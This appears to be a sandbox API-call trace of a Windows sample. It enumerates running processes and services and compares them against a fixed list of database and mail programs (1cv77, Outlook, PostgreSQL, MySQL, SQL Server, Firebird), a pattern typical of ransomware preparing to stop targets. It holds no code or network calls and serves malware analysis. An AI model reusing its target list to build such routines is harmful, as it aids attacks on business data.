	[0261.266] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0261.266] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0261.266] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0261.266] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.266] lstrlenW (lpString="svchost.exe") returned 11
	[0261.266] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0261.266] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0261.266] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0261.266] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0261.267] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.267] lstrlenW (lpString="svchost.exe") returned 11
	[0261.267] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0261.267] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.267] lstrlenW (lpString="svchost.exe") returned 11
	[0261.267] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0261.267] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0261.268] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0261.268] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0261.268] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.268] lstrlenW (lpString="svchost.exe") returned 11
	[0261.268] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0261.268] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0261.268] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0261.268] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0261.268] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0261.268] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0261.268] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0261.268] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.268] lstrlenW (lpString="svchost.exe") returned 11
	[0261.268] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0261.268] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0261.268] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0261.269] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0261.269] lstrlenW (lpString="audiodg.exe") returned 11
	[0261.269] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.269] lstrlenW (lpString="svchost.exe") returned 11
	[0261.269] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0261.269] lstrlenW (lpString="userinit.exe") returned 12
	[0261.269] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0261.270] lstrlenW (lpString="explorer.exe") returned 12
	[0261.270] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0261.270] lstrlenW (lpString="dwm.exe") returned 7
	[0261.270] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.270] lstrlenW (lpString="svchost.exe") returned 11
	[0261.270] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0261.271] lstrlenW (lpString="swpesp.exe") returned 10
	[0261.271] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0261.271] lstrlenW (lpString="spoolsv.exe") returned 11
	[0261.271] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0261.271] lstrlenW (lpString="dllhost.exe") returned 11
	[0261.271] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0261.271] lstrlenW (lpString="taskhost.exe") returned 12
	[0261.272] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.272] lstrlenW (lpString="svchost.exe") returned 11
	[0261.272] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0261.272] lstrlenW (lpString="reader_sl.exe") returned 13
	[0261.272] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0261.272] CloseHandle (hObject=0x350) returned 1
	[0261.272] Sleep (dwMilliseconds=0x1f4) 
	[0261.792] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280ae0
	[0261.797] EnumServicesStatusExW (in: hSCManager=0x4280ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0261.797] GetLastError () returned 0xea
	[0261.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc9a) returned 0x41f5d68
	[0261.797] EnumServicesStatusExW (in: hSCManager=0x4280ae0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xc9a, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0261.798] CloseServiceHandle (hSCObject=0x4280ae0) returned 1
	[0261.798] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0261.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0261.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0261.798] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0261.798] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0261.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0261.798] lstrlenW (lpString="AudioSrv") returned 8
	[0261.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0261.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0261.798] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0261.798] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0261.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0261.798] lstrlenW (lpString="BFE") returned 3
	[0261.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0261.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0261.798] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0261.798] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0261.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0261.798] lstrlenW (lpString="CryptSvc") returned 8
	[0261.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0261.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0261.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0261.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0261.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0261.799] lstrlenW (lpString="CscService") returned 10
	[0261.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0261.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0261.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0261.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0261.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0261.799] lstrlenW (lpString="DcomLaunch") returned 10
	[0261.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0261.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0261.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0261.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0261.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0261.799] lstrlenW (lpString="Dhcp") returned 4
	[0261.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0261.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0261.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0261.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0261.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0261.799] lstrlenW (lpString="Dnscache") returned 8
	[0261.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0261.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0261.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0261.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0261.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0261.799] lstrlenW (lpString="DPS") returned 3
	[0261.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0261.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0261.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0261.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0261.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0261.799] lstrlenW (lpString="eventlog") returned 8
	[0261.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0261.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0261.800] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0261.800] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0261.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0261.800] lstrlenW (lpString="EventSystem") returned 11
	[0261.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0261.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0261.800] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0261.800] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0261.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0261.800] lstrlenW (lpString="gpsvc") returned 5
	[0261.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0261.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0261.800] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0261.800] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0261.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0261.800] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0261.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0261.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0261.800] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0261.800] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0261.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0261.800] lstrlenW (lpString="lmhosts") returned 7
	[0261.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0261.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0261.800] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0261.801] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0261.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0261.801] lstrlenW (lpString="MMCSS") returned 5
	[0261.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0261.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0261.801] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0261.801] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0261.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0261.801] lstrlenW (lpString="MpsSvc") returned 6
	[0261.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0261.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0261.801] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0261.801] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0261.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0261.801] lstrlenW (lpString="NlaSvc") returned 6
	[0261.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0261.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0261.801] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0261.801] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0261.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0261.801] lstrlenW (lpString="nsi") returned 3
	[0261.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0261.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0261.801] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0261.801] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0261.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0261.801] lstrlenW (lpString="PcaSvc") returned 6
	[0261.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0261.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0261.802] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0261.802] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0261.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0261.802] lstrlenW (lpString="PlugPlay") returned 8
	[0261.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0261.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0261.802] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0261.802] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0261.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0261.802] lstrlenW (lpString="Power") returned 5
	[0261.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0261.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0261.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0261.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0261.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0261.802] lstrlenW (lpString="ProfSvc") returned 7
	[0261.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0261.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0261.802] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0261.802] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0261.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0261.802] lstrlenW (lpString="RpcEptMapper") returned 12
	[0261.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0261.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0261.802] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0261.802] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0261.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0261.802] lstrlenW (lpString="RpcSs") returned 5
	[0261.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0261.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0261.803] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0261.803] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0261.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0261.803] lstrlenW (lpString="SamSs") returned 5
	[0261.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0261.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0261.803] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0261.803] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0261.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0261.803] lstrlenW (lpString="Schedule") returned 8
	[0261.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0261.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0261.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0261.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0261.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0261.803] lstrlenW (lpString="SENS") returned 4
	[0261.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0261.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0261.803] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0261.803] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0261.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0261.803] lstrlenW (lpString="ShellHWDetection") returned 16
	[0261.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0261.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0261.803] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0261.803] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0261.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0261.803] lstrlenW (lpString="Spooler") returned 7
	[0261.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0261.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0261.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0261.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0261.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0261.804] lstrlenW (lpString="Themes") returned 6
	[0261.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0261.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0261.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0261.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0261.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0261.804] lstrlenW (lpString="UxSms") returned 5
	[0261.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0261.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0261.804] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0261.804] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0261.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0261.804] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0261.804] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354
	[0261.805] Process32FirstW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0261.805] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0261.806] lstrlenW (lpString="System") returned 6
	[0261.806] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0261.806] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0261.806] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
